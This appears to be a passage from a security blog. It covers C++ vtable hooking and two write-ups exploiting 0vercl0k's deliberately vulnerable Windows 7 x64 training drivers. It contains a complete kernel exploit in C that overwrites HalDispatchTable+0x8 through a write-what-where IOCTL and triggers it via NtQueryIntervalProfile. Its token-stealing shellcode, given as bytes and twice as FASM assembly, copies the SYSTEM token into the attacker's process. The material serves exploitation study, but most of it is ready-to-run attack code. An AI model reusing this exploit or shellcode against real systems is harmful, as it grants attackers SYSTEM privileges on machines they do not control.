 unsigned long* addrVarA = reinterpret_cast<unsigned long*>(&varA);
 printf("addrVarA: 0x%X\n", addrVarA);
 unsigned long* tableVarA = reinterpret_cast<unsigned long*>(*addrVarA);
 printf("tableVarA: 0x%X\n", tableVarA);
 unsigned long* vtableA = reinterpret_cast<unsigned long*>(tableVarA[0]);
 printf("\ttableVarA[0] (VTable addr): 0x%X\n", vtableA);
 printf("\tVTable[0] (Hello ptr): 0x%X\n", vtableA[0]);
 printf("\tVTable[1] (Useless ptr): 0x%X\n", vtableA[1]);
 printf("tableVarA[1] (m_value): 0x%X\n", tableVarA[1]);

 printf("------------------------------\n");
 unsigned long* addrVarB = reinterpret_cast<unsigned long*>(&varB);
 printf("addrVarB: 0x%X\n", addrVarB);
 unsigned long* tableVarB = reinterpret_cast<unsigned long*>(*addrVarB);
 printf("tableVarB: 0x%X\n", tableVarB);
 unsigned long* vtableB = reinterpret_cast<unsigned long*>(tableVarB[0]);
 printf("\ttableVarB[0] (VTable addr): 0x%X\n", vtableB);
 printf("\tVTable[0] (Hello ptr): 0x%X\n", vtableB[0]);
 printf("\tVTable[1] (Useless ptr): 0x%X\n", vtableB[1]);
 printf("tableVarB[1] (m_value): 0x%X\n", tableVarB[1]);


 return 0;
}

The output:

Init A
I'm a class A
I'm an useless method
Init A
Init B
I'm a class B
I'm an useless method
------------------------------
addrVarA: 0x6095DD28
tableVarA: 0x1523010
tableVarA[0] (VTable addr): 0x400DF0
VTable[0] (Hello ptr): 0x400AFE
VTable[1] (Useless ptr): 0x400B16
tableVarA[1] (m_value): 0x1337
------------------------------
addrVarB: 0x6095DD20
tableVarB: 0x1523030
tableVarB[0] (VTable addr): 0x400DD0
VTable[0] (Hello ptr): 0x400B6A
VTable[1] (Useless ptr): 0x400B16
tableVarB[1] (m_value): 0x1338

Do you see? The Hello() pointer is different for the two object, but the Useless() pointer is the same!

Hooking the VTable

It’s easy: just overwrite the vtable[i] pointer! And don’t forget to manage the object pointer stored in the first parameter.

#include <stdio.h>
#include <errno.h>
#include <sys/mman.h>
#include <unistd.h>

class A {
 public:
 A() {
 printf("Init A\n");
 m_value = 0x1337;
 }

 void virtual Hello() { // Index 0
 printf("I'm a class A\n");
 }

 void virtual Useless() {
 printf("I'm an useless method\n"); // Index 1
 }
 protected:
 unsigned long m_value;
};

void hook_vtable(unsigned long* pClass, int methodIndex, unsigned long pFunction) {
 unsigned long* classTable = reinterpret_cast<unsigned long*>(*pClass);
 unsigned long* vTable = reinterpret_cast<unsigned long*>(*classTable);

 int pageSize = getpagesize();
 unsigned long pMethod = reinterpret_cast<unsigned long>(&vTable[methodIndex]);
 unsigned long* pMethodAligned =
 reinterpret_cast<unsigned long*>(pMethod - (pMethod % pageSize));

 if (mprotect(pMethodAligned, pageSize, PROT_READ|PROT_WRITE|PROT_EXEC) < 0) {
 // Do not forget PROT_EXEC: our code is in the same page!
 printf("Error: %d\n", errno);
 return;
 }

 vTable[methodIndex] = pFunction;

 if (mprotect(pMethodAligned, pageSize, PROT_READ|PROT_EXEC) < 0) {
 // VirtualProtect on Windows
 printf("Error: %d\n", errno);
 return;
 }
}

void hello_hooked(A* objectA) {
 unsigned long* classTable = reinterpret_cast<unsigned long*>(objectA);

 printf("I'm not a class A but your mValue is 0x%X\n", classTable[1]);
}

int main() {
 A* varA = new A();

 varA->Hello();
 hook_vtable(reinterpret_cast<unsigned long*>(&varA), 0,
 reinterpret_cast<unsigned long>(&hello_hooked));
 varA->Hello();

 return 0;
}

Output:

Init A
I'm a class A
I'm not a class A but your mValue is 0x1337

Driver write-what-where vulnerability

Sun, 16 Mar 2014 00:00:00 +0000

In this article, we will exploit a write-what-where vulnerability in Windows 7 x64. To do that, we will use the last level of 0vercl0k: the level 3.

We need to do some changes to make a driver which work on a x64 system:

#include <Ntifs.h>
#include <stdio.h>
#include <string.h>

#define ERROR(_f_, _status_) DbgPrint("\r\n[!] Error at %s() : 0x%x\r\n", _f_, _status_)
#define IOCTL_WRIT CTL_CODE(FILE_DEVICE_UNKNOWN, 0x804, METHOD_BUFFERED, FILE_ANY_ACCESS)
#define DbgPrint(...) DbgPrintEx(DPFLTR_IHVDRIVER_ID, 0x1337, __VA_ARGS__)

typedef unsigned int DWORD;
typedef unsigned char* PBYTE;
typedef unsigned char BYTE;

//
DRIVER_UNLOAD Unload;
DRIVER_INITIALIZE DriverEntry;
DRIVER_DISPATCH handleIOCTLs;
DRIVER_DISPATCH handleIRP;
//

typedef struct
{
 PDWORD64 where;
 DWORD64 what;
} L33TNESS,
*PL33TNESS;

NTSTATUS DriverEntry(PDRIVER_OBJECT pDriverObj , PUNICODE_STRING pRegistryPath)
{
 DWORD i = 0;
 NTSTATUS status;
 UNICODE_STRING deviceName = {0}, symlinkName = {0};
 PDEVICE_OBJECT pDevice = NULL;

 pDriverObj->DriverUnload = Unload;
 DbgPrint("[ Loading.. ]\r\n");

 RtlInitUnicodeString(&deviceName, L"\\Device\\3");
 RtlInitUnicodeString(&symlinkName, L"\\DosDevices\\3");

 DbgPrint("[ Creating the device...]\n");
 IoCreateDevice(
 pDriverObj,
 0,
 &deviceName,
 FILE_DEVICE_UNKNOWN,
 FILE_DEVICE_SECURE_OPEN,
 FALSE,
 &pDevice
 );

 DbgPrint("[ Linking...]\n");
 IoCreateSymbolicLink(&symlinkName, &deviceName);

 for(; i < IRP_MJ_MAXIMUM_FUNCTION; i++)
 pDriverObj->MajorFunction[i] = handleIRP;

 pDriverObj->MajorFunction[IRP_MJ_DEVICE_CONTROL] = handleIOCTLs;
 return STATUS_SUCCESS;
}

NTSTATUS handleIRP(PDEVICE_OBJECT pDeviceObject, PIRP Irp)
{
 return STATUS_SUCCESS;
}

NTSTATUS handleIOCTLs(PDEVICE_OBJECT pDeviceObject, PIRP pIrp)
{
 PIO_STACK_LOCATION pIoStackLocation = NULL;
 PL33TNESS ptr = NULL;
 DWORD ioControlCode = 0, inputBufferLength = 0;
 PVOID inputBuffer = 0;

 pIoStackLocation = IoGetCurrentIrpStackLocation(pIrp);
 ioControlCode = pIoStackLocation->Parameters.DeviceIoControl.IoControlCode;
 inputBufferLength = pIoStackLocation->Parameters.DeviceIoControl.InputBufferLength;
 inputBuffer = pIrp->AssociatedIrp.SystemBuffer;

 switch(ioControlCode)
 {
 case IOCTL_WRIT:
 {
 if(inputBufferLength != 0 && inputBufferLength >= (sizeof(DWORD*) * 2))
 {
 ptr = (PL33TNESS)inputBuffer;

 /* DROP IT LIKE ITS HOT, DROP IT LIKE ITS HOT */
 *ptr->where = ptr->what;
 }
 else
 DbgPrint("You must supply a buffer formated like that: [@address to write][value to be writed].\n");

 break;
 }
 }

 IoCompleteRequest(pIrp, IO_NO_INCREMENT);
 return pIrp->IoStatus.Status;
}

VOID Unload(PDRIVER_OBJECT pDrivObj)
{
 DbgPrint("[ Unloading.. ]\n");
 return;
}

This time, we can see that we can write anything and where we want. But how to execute a code with the SYSTEM right with that? NtQueryIntervalProfile will help us.

HalDispatchTable is our friend

Let’s see what this function do:

kd> u nt!NtQueryIntervalProfile
nt!NtQueryIntervalProfile:
fffff800`029fff00 48895c2408 mov qword ptr [rsp+8],rbx
fffff800`029fff05 57 push rdi
fffff800`029fff06 4883ec20 sub rsp,20h
fffff800`029fff0a 488bda mov rbx,rdx
fffff800`029fff0d 65488b042588010000 mov rax,qword ptr gs:[188h]
fffff800`029fff16 408ab8f6010000 mov dil,byte ptr [rax+1F6h]
fffff800`029fff1d 4084ff test dil,dil
fffff800`029fff20 7416 je nt!NtQueryIntervalProfile+0x38 (fffff800`029fff38)
kd> u
nt!NtQueryIntervalProfile+0x22:
fffff800`029fff22 488b05d730ebff mov rax,qword ptr [nt!MmUserProbeAddress (fffff800`028b3000)]
fffff800`029fff29 483bd0 cmp rdx,rax
fffff800`029fff2c 480f43d0 cmovae rdx,rax
fffff800`029fff30 8b02 mov eax,dword ptr [rdx]
fffff800`029fff32 8902 mov dword ptr [rdx],eax
fffff800`029fff34 eb02 jmp nt!NtQueryIntervalProfile+0x38 (fffff800`029fff38)
fffff800`029fff36 eb14 jmp nt!NtQueryIntervalProfile+0x4c (fffff800`029fff4c)
fffff800`029fff38 e8830affff call nt!KeQueryIntervalProfile (fffff800`029f09c0)
kd> u nt!KeQueryIntervalProfile
nt!KeQueryIntervalProfile:
fffff800`029f09c0 4883ec38 sub rsp,38h
fffff800`029f09c4 85c9 test ecx,ecx
fffff800`029f09c6 7508 jne nt!KeQueryIntervalProfile+0x10 (fffff800`029f09d0)
fffff800`029f09c8 8b05b645e0ff mov eax,dword ptr [nt!KiProfileInterval (fffff800`027f4f84)]
fffff800`029f09ce eb3c jmp nt!KeQueryIntervalProfile+0x4c (fffff800`029f0a0c)
fffff800`029f09d0 83f901 cmp ecx,1
fffff800`029f09d3 7508 jne nt!KeQueryIntervalProfile+0x1d (fffff800`029f09dd)
fffff800`029f09d5 8b0515b8e8ff mov eax,dword ptr [nt!KiProfileAlignmentFixupInterval (fffff800`0287c1f0)]
kd> u
nt!KeQueryIntervalProfile+0x1b:
fffff800`029f09db eb2f jmp nt!KeQueryIntervalProfile+0x4c (fffff800`029f0a0c)
fffff800`029f09dd ba0c000000 mov edx,0Ch
fffff800`029f09e2 894c2420 mov dword ptr [rsp+20h],ecx
fffff800`029f09e6 4c8d4c2440 lea r9,[rsp+40h]
fffff800`029f09eb 8d4af5 lea ecx,[rdx-0Bh]
fffff800`029f09ee 4c8d442420 lea r8,[rsp+20h]
fffff800`029f09f3 ff156f52e0ff call qword ptr [nt!HalDispatchTable+0x8 (fffff800`027f5c68)]
fffff800`029f09f9 85c0 test eax,eax

We can see that if we call NtQueryIntervalProfile in ring3, Windows will call KeQueryIntervalProfile in ring0 and the function pointed by nt!HalDispatchTable+0x8! But what is HalDispatchTable? ReactOS will help us:

typedef struct {
 ULONG Version;
 pHalQuerySystemInformation HalQuerySystemInformation;
 pHalSetSystemInformation HalSetSystemInformation;
 pHalQueryBusSlots HalQueryBusSlots;
 ULONG Spare1;
 pHalExamineMBR HalExamineMBR;
#if 1 /* Not present in WDK 7600 */
 pHalIoAssignDriveLetters HalIoAssignDriveLetters;
#endif
 pHalIoReadPartitionTable HalIoReadPartitionTable;
 pHalIoSetPartitionInformation HalIoSetPartitionInformation;
 pHalIoWritePartitionTable HalIoWritePartitionTable;
 pHalHandlerForBus HalReferenceHandlerForBus;
 pHalReferenceBusHandler HalReferenceBusHandler;
 pHalReferenceBusHandler HalDereferenceBusHandler;
 pHalInitPnpDriver HalInitPnpDriver;
 pHalInitPowerManagement HalInitPowerManagement;
 pHalGetDmaAdapter HalGetDmaAdapter;
 pHalGetInterruptTranslator HalGetInterruptTranslator;
 pHalStartMirroring HalStartMirroring;
 pHalEndMirroring HalEndMirroring;
 pHalMirrorPhysicalMemory HalMirrorPhysicalMemory;
 pHalEndOfBoot HalEndOfBoot;
 pHalMirrorVerify HalMirrorVerify;
 pHalGetAcpiTable HalGetCachedAcpiTable;
 pHalSetPciErrorHandlerCallback HalSetPciErrorHandlerCallback;
#if defined(_IA64_)
pHalGetErrorCapList HalGetErrorCapList;
 pHalInjectError HalInjectError;
#endif
} HAL_DISPATCH, *PHAL_DISPATCH;

kd> dq nt!HalDispatchTable
fffff800`027f5c60 00000000`00000004 fffff800`02c268e8
fffff800`027f5c70 fffff800`02c27470 fffff800`029f2d60
fffff800`027f5c80 00000000`00000000 fffff800`026cacb0
fffff800`027f5c90 fffff800`029a16b0 fffff800`029a2000
kd> u poi(nt!HalDispatchTable+0x8)
fffff800`02c268e8 fff3 push rbx
fffff800`02c268ea 55 push rbp
[...]

We can see that at HalDispatchTable+0x8 store a pointer to HalQuerySystemInformation. Therefore, we just need to modify HalDispatchTable+0x8 to point to our shellcode and call NtQueryIntervalProfile to execute our shellcode in ring0. Fortunely for us, HalDispatchTable is exported by name by ntoskrnl.exe, so we can found this address easily:

We load ntoskrnl.exe with LoadLibrary
We use GetProcAddress to find HalDispatchTable address in userland
We search the image base address of ntoskrnl in kernelland with NtQuerySystemInformation(SystemModuleInformation)
And we obtain the final address with a little calculation: HalDispatchTable userland address - ntoskrnl userland address + ntoskrnl image base address in kernelland

Finally, we need to replace the address at HalDispatchTable+0x8 with a valid kernel function address to decrease the chances to get a BSOD. I have used KeGetCurrentThread:

kd> u nt!KeGetCurrentThread
nt!PsGetCurrentThread:
fffff800`026ca2c0 65488b042588010000 mov rax,qword ptr gs:[188h]
fffff800`026ca2c9 c3 ret

Final exploit

I have used the same shellcode of previous levels to copy the system token in my process.

E:\>exploit.exe
[+] Search address of notskrnl.exe...
[+] HalDispatchTable in userland: 0x401F0C60
[+] HalDispatchTable in kernelland: 0x27F1C60
[+] Search NtAllocateVirtualMemory...
[+] Copy the shellcode...
[+] Execute NtQueryIntervalProfile
[+] New username: SystÞme
[+] Modify HalDispatchTable+0x8 to point on KeGetCurrentThread
[+] KeGetCurrentThread in userland: 0x400C92C0
[+] KeGetCurrentThread in kernelland: 0x26CA2C0
[+] Executing a new command console to test it...

#include <windows.h>
#include <winioctl.h>
#include <stdio.h>
#include <stdlib.h>

#define IOCTL_WRIT CTL_CODE(FILE_DEVICE_UNKNOWN, 0x804, METHOD_BUFFERED, FILE_ANY_ACCESS)
#define DEVICE_NAME "\\\\.\\3"

typedef enum {
 SystemBasicInformation,
 SystemProcessorInformation,
 SystemPerformanceInformation,
 SystemTimeOfDayInformation,
 SystemPathInformation,
 SystemProcessInformation,
 SystemCallCountInformation,
 SystemDeviceInformation,
 SystemProcessorPerformanceInformation,
 SystemFlagsInformation,
 SystemCallTimeInformation,
 SystemModuleInformation
} SYSTEM_INFORMATION_CLASS, *PSYSTEM_INFORMATION_CLASS;

typedef struct
{
 PVOID Reserved1;
 PVOID Reserved2;
 PVOID ImageBaseAddress;
 ULONG ImageSize;
 ULONG Flags;
 WORD Id;
 WORD Rank;
 WORD w018;
 WORD NameOffset;
 BYTE Name[256];
} SYSTEM_MODULE, *PSYSTEM_MODULE;

typedef struct
{
 ULONG ModulesCount;
 SYSTEM_MODULE Modules[0];
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;

typedef DWORD (WINAPI* _NtQuerySystemInformation)(SYSTEM_INFORMATION_CLASS, PVOID, ULONG, PULONG);
typedef DWORD (WINAPI* _NtAllocateVirtualMemory)(HANDLE, PVOID*, ULONG_PTR, PSIZE_T, ULONG, ULONG);
typedef DWORD (WINAPI* _NtQueryIntervalProfile)(DWORD, PULONG);

typedef struct
{
 PDWORD64 where;
 DWORD64 what;
} L33TNESS,
*PL33TNESS;


BYTE shellcode[] = "\x53\x51\x52\x57\x56\x6A\xFF\x6A\xFF\x65\x48\x8B\x14\x25\x88\x01\x00\x00\x48\x8B\x52\x70\x48\x81\xC2\x88\x01"
 "\x00\x00\x48\x89\xD3\x48\x8B\x42\xF8\x48\x83\xF8\x04\x74\x19\x48\xB9\x41\x41\x41\x41\x41\x41\x41\x41\x48\x39"
 "\xC8\x74\x11\x48\x8B\x12\x48\x39\xDA\x74\x31\xEB\xDD\x48\x89\x54\x24\x08\xEB\x04\x48\x89\x14\x24\x48\xC7\xC1"
 "\xFF\xFF\xFF\xFF\x48\x39\x0C\x24\x74\xDE\x48\x39\x4C\x24\x08\x74\xD7\x5F\x5E\x48\x8B\x86\x80\x00\x00\x00\x48"
 "\x89\x87\x80\x00\x00\x00\x5E\x5F\x5A\x59\x5B\xC3";


void replacePattern(char buffer[], int bufferSize, DWORD64 pattern, DWORD64 value) {
 BOOL found = FALSE;
 int i;

 for (i = 0; i < bufferSize; i++) {
 if (*(PDWORD64)(buffer + i) == pattern) {
 found = TRUE;
 *(PDWORD64)(buffer + i) = value;
 }
 }

 return found;
}

PVOID getKernelBase() {
 PVOID ntdll = NULL;
 _NtQuerySystemInformation NtQuerySystemInformation = NULL;
 DWORD sizeInfo = 0;
 DWORD error = 0;
 PSYSTEM_MODULE_INFORMATION moduleList = NULL;
 PVOID kernelBase = NULL;
 int i = 0;

 ntdll = GetModuleHandle("ntdll.dll");
 if (ntdll == NULL) {
 printf("[-] Can't found ntdll");
 return NULL;
 }

 NtQuerySystemInformation = GetProcAddress(ntdll, "NtQuerySystemInformation");

 NtQuerySystemInformation(SystemModuleInformation, NULL, 0, &sizeInfo);
 if (sizeInfo == 0) {
 printf("[-] NtQuerySystemInformation return 0 for information size\n");
 return NULL;
 }

 moduleList = (PSYSTEM_MODULE_INFORMATION) malloc(sizeInfo);
 error = NtQuerySystemInformation(SystemModuleInformation, moduleList, sizeInfo, NULL);
 if (error != 0) {
 printf("[-] NtQuerySystemInformation error: 0x%X (struct size: 0x%X)\n", error, sizeInfo);
 free(moduleList);
 return NULL;
 }

 kernelBase = moduleList->Modules[0].ImageBaseAddress;
 free(moduleList);

 return kernelBase;
}

int main()
{
 HANDLE hDevice = NULL;
 L33TNESS l33t = {0};
 DWORD byte = 0;
 PVOID ntoskrnl = NULL;
 PVOID HalDispatchTable = NULL;
 PVOID originalValue = NULL;
 PVOID kernelBase = NULL;
 DWORD error = 0;
 PVOID leetAddress = 0x1337;
 DWORD sizeofShellcode = sizeof(shellcode);
 _NtAllocateVirtualMemory NtAllocateVirtualMemory = NULL;
 _NtQueryIntervalProfile NtQueryIntervalProfile = NULL;
 PVOID KeGetCurrentThread = NULL;
 ULONG wtf = 0;
 char username[255] = {0};
 DWORD sizeofUsername = 255;
 STARTUPINFO si = {0};
 PROCESS_INFORMATION pi = {0};

 printf("[+] Search address of notskrnl.exe...\n");
 ntoskrnl = LoadLibrary("ntoskrnl.exe");
 if (ntoskrnl == NULL) {
 printf("[-] Can't load ntoskrnl.exe\n");
 return EXIT_FAILURE;
 }

 HalDispatchTable = GetProcAddress(ntoskrnl, "HalDispatchTable");
 if (HalDispatchTable == NULL) {
 printf("[-] Can't found HalDispatchTable in ntoskrnl.exe\n");
 return EXIT_FAILURE;
 }
 printf("[+] HalDispatchTable in userland: 0x%X\n", HalDispatchTable);

 kernelBase = getKernelBase();
 if (kernelBase == NULL) {
 printf("[-] Can't find the kernel base\n");
 return EXIT_FAILURE;
 }

 HalDispatchTable = (DWORD64) HalDispatchTable - (DWORD64) ntoskrnl + (DWORD64) kernelBase;
 printf("[+] HalDispatchTable in kernelland: 0x%X\n", HalDispatchTable);

 printf("[+] Search NtAllocateVirtualMemory...\n");
 NtAllocateVirtualMemory = (_NtAllocateVirtualMemory) GetProcAddress(GetModuleHandle("ntdll.dll"), "NtAllocateVirtualMemory");
 if(NtAllocateVirtualMemory == NULL) {
 printf("[-] Error with GetProcAddress : %.8x\n", GetLastError());
 return EXIT_FAILURE;
 }

 printf("[+] Copy the shellcode...\n");
 error = NtAllocateVirtualMemory(GetCurrentProcess(), &leetAddress, NULL, &sizeofShellcode, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
 if(error != 0) {
 printf("[-] Error with NtAllocateVirtualMemory : %.8x\n", error);
 return EXIT_FAILURE;
 }
 replacePattern(shellcode, sizeof(shellcode), 0x4141414141414141, GetCurrentProcessId()); // Process PID
 memcpy(leetAddress, shellcode, sizeof(shellcode));

 hDevice = CreateFile(DEVICE_NAME, GENERIC_WRITE | GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
 if(hDevice == INVALID_HANDLE_VALUE)
 {
 printf("[-] Error with Createfile : %.8x.\n", GetLastError());
 return EXIT_FAILURE;
 }

 l33t.where = (DWORD64) HalDispatchTable + sizeof(PVOID);
 l33t.what = leetAddress;
 DeviceIoControl(hDevice, IOCTL_WRIT, &l33t, sizeof(l33t), NULL, 0, &byte, NULL);

 NtQueryIntervalProfile = GetProcAddress(GetModuleHandle("ntdll.dll"), "NtQueryIntervalProfile");
 if (NtQueryIntervalProfile == NULL) {
 printf("[-] Can't find NtQueryIntervalProfile\n");
 return EXIT_FAILURE;
 }

 printf("[+] Execute NtQueryIntervalProfile\n");
 NtQueryIntervalProfile(2, &wtf);

 GetUserNameA(username, &sizeofUsername);
 printf("[+] New username: %s\n", username);

 printf("[+] Modify HalDispatchTable+0x8 to point on KeGetCurrentThread\n");
 KeGetCurrentThread = GetProcAddress(ntoskrnl, "KeGetCurrentThread");
 if (KeGetCurrentThread == NULL) {
 printf("[-] Can't found KeGetCurrentThread in ntoskrnl.exe\n");
 return EXIT_FAILURE;
 }

 printf("[+] KeGetCurrentThread in userland: 0x%X\n", KeGetCurrentThread);
 KeGetCurrentThread = (DWORD64) KeGetCurrentThread - (DWORD64) ntoskrnl + (DWORD64) kernelBase;
 printf("[+] KeGetCurrentThread in kernelland: 0x%X\n", KeGetCurrentThread);

 l33t.where = (DWORD64) HalDispatchTable + sizeof(PVOID);
 l33t.what = KeGetCurrentThread;
 DeviceIoControl(hDevice, IOCTL_WRIT, &l33t, sizeof(l33t), NULL, 0, &byte, NULL);
 CloseHandle(hDevice);

 printf("[+] Executing a new command console to test it...\n");
 si.cb = sizeof(si);
 CreateProcess(NULL, "cmd.exe", NULL, NULL, TRUE, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi);

 return EXIT_SUCCESS;
}

format PE64 GUI 4.0

start:

; We save the registers
push rbx
push rcx
push rdx
push rdi
push rsi

;--------------------------------
; Stack
;--------------------------------
; RSP-8: EPROCESS+0x188 system
;--------------------------------
; RSP-4: EPROCESS+0x188 exploit
;--------------------------------
push 0xFFFFFFFFFFFFFFFF
push 0xFFFFFFFFFFFFFFFF

mov rdx, [gs:qword 0x188] ; +0x180 PrcbData : _KPRCB | +0x008 CurrentThread : _KTHREAD 
mov rdx, [rdx + 0x70] ; +0x050 ApcState : _KAPC_STATE | +0x020 Process : _KPROCESS
add rdx, 0x188 ; +0x188 ActiveProcessLinks : _LIST_ENTRY
mov rbx, rdx ; Our linked list \o/ We save the first structure

searchProcess:
mov rax, [rdx - 0x8] ; +0x180 UniqueProcessId
cmp rax, 0x4 ; SYSTEM PID
je sysProcFound
mov rcx, 0x4141414141414141 ; Our exploit PID
cmp rax, rcx ; cmp reg64, imm64 don't exist
je exploitProcFound

nextProcess:
mov rdx, [rdx] ; Next process (Flink)
cmp rdx, rbx ; We are back at the starting point
je retApp
jmp searchProcess ; We loop!

sysProcFound:
mov [rsp+8], rdx
jmp allPIDFound

exploitProcFound:
mov [rsp], rdx

allPIDFound:
mov rcx, 0xFFFFFFFFFFFFFFFF
cmp [rsp], rcx
je nextProcess
cmp [rsp+8], rcx
je nextProcess

; We copy the SYSTEM token
pop rdi ; Exploit
pop rsi ; System
mov rax, [rsi + 0x80] ; 0x208 - 0x188 = 0x80 | +0x208 Token : _EX_FAST_REF
mov [rdi + 0x80], rax

retApp:
; Restore the registers
pop rsi
pop rdi
pop rdx
pop rcx
pop rbx
ret

Driver dereferenced pointer in Windows 7 x64

Fri, 14 Mar 2014 00:00:00 +0000

In my previous article, I have talked about the exploitation of kernel buffer overflow. This time, I will not play with Windows XP x86 but with Windows 7 x64 on the 0vercl0k’s level 2 driver.

0vercl0k have coded this driver for a x86 environment, so we need to do some changes:

#include <Ntifs.h>
#include <string.h>

#define ERROR(_f_, _status_) DbgPrint("\r\n[!] Error at %s() : 0x%x\r\n", _f_, _status_)
#define IOCTL_F4 CTL_CODE(FILE_DEVICE_UNKNOWN, 0x801, METHOD_BUFFERED, FILE_ANY_ACCESS)
#define DbgPrint(...) DbgPrintEx(DPFLTR_IHVDRIVER_ID, 0x1337, __VA_ARGS__)

typedef unsigned long DWORD;
typedef unsigned char* PBYTE;
typedef unsigned char BYTE;

typedef enum
{
 ChangeLabel,
 IncreaseAlcoholPercentage,
 DecreaseAlcoholPercentage
} OPERATION;

typedef struct
{
 OPERATION op;
 BYTE alcohol_percentage;
 BYTE label[256];
} FORCE4,
 *PFORCE4;

typedef VOID (*OPERATION_F)(PFORCE4);

//
DRIVER_UNLOAD Unload;
DRIVER_INITIALIZE DriverEntry;
DRIVER_DISPATCH handleIOCTLs;
DRIVER_DISPATCH handleIRP;
VOID ChangeLab(PFORCE4 pBeer);
VOID IncreaseAlcoholPerc(PFORCE4 pBeer);
VOID DecreaseAlcoholPerc(PFORCE4 pBeer);
//

NTSTATUS DriverEntry(PDRIVER_OBJECT pDriverObj , PUNICODE_STRING pRegistryPath)
{
 DWORD i = 0;
 NTSTATUS status;
 UNICODE_STRING deviceName = {0}, symlinkName = {0};
 PDEVICE_OBJECT pDevice = NULL;

 pDriverObj->DriverUnload = Unload;
 DbgPrint("[ Loading.. ]\r\n");

 RtlInitUnicodeString(&deviceName, L"\\Device\\2");
 RtlInitUnicodeString(&symlinkName, L"\\DosDevices\\2");

 DbgPrint("[ Creating the device...]\n");
 IoCreateDevice(
 pDriverObj,
 0,
 &deviceName,
 FILE_DEVICE_UNKNOWN,
 FILE_DEVICE_SECURE_OPEN,
 FALSE,
 &pDevice
 );

 DbgPrint("[ Linking...]\n");
 IoCreateSymbolicLink(&symlinkName, &deviceName);

 for(; i < IRP_MJ_MAXIMUM_FUNCTION; i++)
 pDriverObj->MajorFunction[i] = handleIRP;

 pDriverObj->MajorFunction[IRP_MJ_DEVICE_CONTROL] = handleIOCTLs;
 return STATUS_SUCCESS;
}

NTSTATUS handleIRP(PDEVICE_OBJECT pDeviceObject, PIRP Irp)
{
 return STATUS_SUCCESS;
}

NTSTATUS handleIOCTLs(PDEVICE_OBJECT pDeviceObject, PIRP pIrp)
{
 #define EL8 0x1337 /* That's el8. */

 PIO_STACK_LOCATION pIoStackLocation = EL8;
 DWORD ioControlCode = EL8, inputBufferLength = EL8;
 PVOID inputBuffer = EL8;
 PFORCE4 pForce4 = EL8;
 OPERATION_F op = EL8;


 pIoStackLocation = IoGetCurrentIrpStackLocation(pIrp);
 ioControlCode = pIoStackLocation->Parameters.DeviceIoControl.IoControlCode;
 inputBufferLength = pIoStackLocation->Parameters.DeviceIoControl.InputBufferLength;
 inputBuffer = (PVOID)pIrp->AssociatedIrp.SystemBuffer;

 switch(ioControlCode)
 {
 case IOCTL_F4:
 {
 if(inputBufferLength != sizeof(FORCE4))
 DbgPrint("[ It seems someone tried to give another type of beer, I ONLY HANDLE F4 BUDDY. ]\n");
 else
 {
 DbgPrint("[ Hmm I just received an force4, time to analyse this shit ..]\n");
 pForce4 = inputBuffer;

 switch(pForce4->op)
 {
 case ChangeLabel:
 op = ChangeLab;
 break;

 case IncreaseAlcoholPercentage:
 op = IncreaseAlcoholPerc;
 break;

 case DecreaseAlcoholPercentage:
 op = DecreaseAlcoholPerc;
 break;
 }

 /* op will modify your beer */
 op(pForce4);
 pIrp->IoStatus.Information = sizeof(FORCE4);
 }

 break;
 }
 }

 IoCompleteRequest(pIrp, IO_NO_INCREMENT);
 return pIrp->IoStatus.Status;
}

VOID IncreaseAlcoholPerc(PFORCE4 pBeer)
{
 if(pBeer->alcohol_percentage <= 245)
 pBeer->alcohol_percentage += 10; /* that's a true beer now, don't you think ? */
}

VOID DecreaseAlcoholPerc(PFORCE4 pBeer)
{
 if(pBeer->alcohol_percentage >= 10)
 pBeer->alcohol_percentage -= 10; /* Don't blame me, that's for chix all right ? */
}

VOID ChangeLab(PFORCE4 pBeer)
{
 memset(pBeer->label, 0, 256);

 /* I recommend you my force4 label */
 strcpy(pBeer->label, "-[ 0vercl0kCorporation");
}

VOID Unload(PDRIVER_OBJECT pDrivObj)
{
 DbgPrint("[ Unloading.. ]\n");
 return;
}

It’s easy to find the bug: op(pForce4) executes a function assigned in switch(pForce4->op), but if pForce4->op is superior to 2, op will keep its default value OPERATION_F op = EL8 = 0x1337 and your driver will execute the function at address 0x1337.

Exploitation

To exploit this, we need to allocate the 0x1337 address and put your shellcode in this place. VirtualAlloc() will not work because this function fails if your lpAddress is too small. Therefore, we will use NtAllocateVirtualMemory to allocate this part of memory.

Shellcode

We will copy, like in my previous article, the token of your SYSTEM process in our process. Do not forget to save and restore the registers in your shellcode or you will lose some hours to find the bug… I have used FASM syntax:

format PE64 GUI 4.0

start:

; We save the registers
push rbx
push rcx
push rdx
push rdi
push rsi

;--------------------------------
; Stack
;--------------------------------
; RSP-8: EPROCESS+0x188 system
;--------------------------------
; RSP-4: EPROCESS+0x188 exploit
;--------------------------------
push 0xFFFFFFFFFFFFFFFF
push 0xFFFFFFFFFFFFFFFF

mov rdx, [gs:qword 0x188] ; +0x180 PrcbData : _KPRCB | +0x008 CurrentThread : _KTHREAD 
mov rdx, [rdx + 0x70] ; +0x050 ApcState : _KAPC_STATE | +0x020 Process : _KPROCESS
add rdx, 0x188 ; +0x188 ActiveProcessLinks : _LIST_ENTRY
mov rbx, rdx ; Our linked list \o/ We save the first structure

searchProcess:
mov rax, [rdx - 0x8] ; +0x180 UniqueProcessId
cmp rax, 0x4 ; SYSTEM PID
je sysProcFound
mov rcx, 0x4141414141414141 ; Our exploit PID
cmp rax, rcx ; cmp reg64, imm64 don't exist
je exploitProcFound

nextProcess:
mov rdx, [rdx] ; Next process (Flink)
cmp rdx, rbx ; We are back at the starting point
je retApp
jmp searchProcess ; We loop!

sysProcFound:
mov [rsp+8], rdx
jmp allPIDFound

exploitProcFound:
mov [rsp], rdx

allPIDFound:
mov rcx, 0xFFFFFFFFFFFFFFFF
cmp [rsp], rcx
je nextProcess
cmp [rsp+8], rcx
je nextProcess

; We copy the SYSTEM token
pop rdi ; Exploit
pop rsi ; System
mov rax, [rsi + 0x80] ; 0x208 - 0x188 = 0x80 | +0x208 Token : _EX_FAST_REF
mov [rdi + 0x80], rax

retApp:
; Restore the registers
pop rsi
pop rdi
pop rdx
pop rcx
pop rbx
ret

Note: if you use FASM too, don’t do mov rdx, [gs:0x188] but mov rdx, [gs:qword 0x188], because FASM compiler will make you a wtf compilation and you will lose (again) some hours to debug it.

Final exploit

E:\>exploit.exe
